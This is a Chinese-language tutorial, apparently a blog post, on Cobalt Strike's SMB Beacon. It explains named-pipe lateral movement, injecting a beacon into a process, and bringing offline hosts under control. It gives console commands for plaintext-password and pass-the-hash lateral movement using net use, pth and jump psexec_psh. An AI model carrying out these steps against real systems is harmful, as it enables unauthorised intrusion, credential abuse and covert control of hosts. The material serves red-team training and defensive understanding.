0x01 SMB Beacon
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。这种对等通信对同一台主机上的 Beacon 和跨网络的 Beacon 都有效,即 SMB Beacon 通过管道( pipe)进行进程间的数据传递。管道通信的进程可以是本地主机上的两个进程,也可以和远程主机上的进程通过网络进行通信。Windows 将命名管道通信封装在 SMB 协议中,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。
0x02 使用条件
SMB Beacon的使用条件如下:
- 具有 SMB Beacon 的主机必须接受 445 端口上的连接。
- 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
- 利用这种beacon横移必须有目标主机的管理员组的权限或者说是拥有具有管理员组权限的凭据。
0x03 使用教程
为方便演示操作,先上线一个主机shell,例如创建一个的 HTTP Beacon 监听器。
生成 HTTP 监听器的一个后门文件。
在受害主机中运行后门文件,CS中成功接收到受害主机shell。
1. SMB Beacon 监听器
主机上线后,创建一个SMB Beacon监听器, pipeame (管道名称)可以自定义修改,或者默认即可。
2. 派生会话SMB Beacon
右键选中HTTP监听器上线的主机,进入Beacon控制台,输入spawn加SMB Beacon的监听器名称, 例如:spawn SMB
,运行成功后在external中可以看到IP后有个∞∞字符的派生SMB Beacon。
3. 注入进程上线SMB Beacon
将SMB Beacon注入到某个进程中,以phpstudy进程为例。
在phpstudy中注入SMB Beacon后,即可看到process为phpstudy.exe的SMB Beacon。
0x04 上线不出网主机
1. 使用场景
首先,建立一个SMB Beacon的监听:SMB_Beacon
- 目标主机不出网,已知目标机器的管理员账号的明文密码或密码哈希,利用SMB Beacon正向连接让其上线。
- 在域环境中,已经得到一个域用户的账号密码。由于在域中,默认域用户可以登录除域控外的所有主机。利用该域用户与其他主机建立IPC连接,然后让其他主机进行SMB Beacon上线。
2. 明文密码上线SMB Beacon
代码语言:javascript复制beacon> shell net use \192.168.158.130 /u:administrator root
beacon> jump psexec_psh 192.168.158.130 SMB_Beacon
3. 密码哈希上线SMB Beacon
代码语言:javascript复制beacon> rev2self
beacon> pth WIN2003Administrator 329153f560eb329c0e1deea55e88a1e9
beacon> jump psexec_psh 192.168.158.130 SMB_Beacon
拓展:cs利用smb上线出网与不出网主机:https://www.cnblogs.com/sunny11/p/14301425.html
0x04 连接与断开
在Beacon控制台中可以使用unlink命令断开连接,例如断开连接192.168.158.130,输入命令unlink 192.168.158.130
。如果想再次连上,输入命令link 192.168.158.130
。
如果断开一个进程 Beacon ,在父会话或子会话中使用 unlink [ip address] [session PID]
。这个[session PID] 参数是要取消连接的Beacon 的进程 ID。该值用于当有多个子 Beacon 时,指定一个特
定的 Beacon 来断开连接。当对一个SMB Beacon取消了连接,它不会离开并消失。相反,它进入一种等待其他 Beacon 连接的状态。可以使用 link 命令来从将来的另一个 Beacon 恢复对 SMB Beacon 的控制。
参考文章
- https://blog.ateam.qianxin.com/CobaltStrike4.0用户手册_中文翻译.pdf
- https://teamssix.com/200419-150510.html
- https://www.cnblogs.com/sunny11/p/14301425.html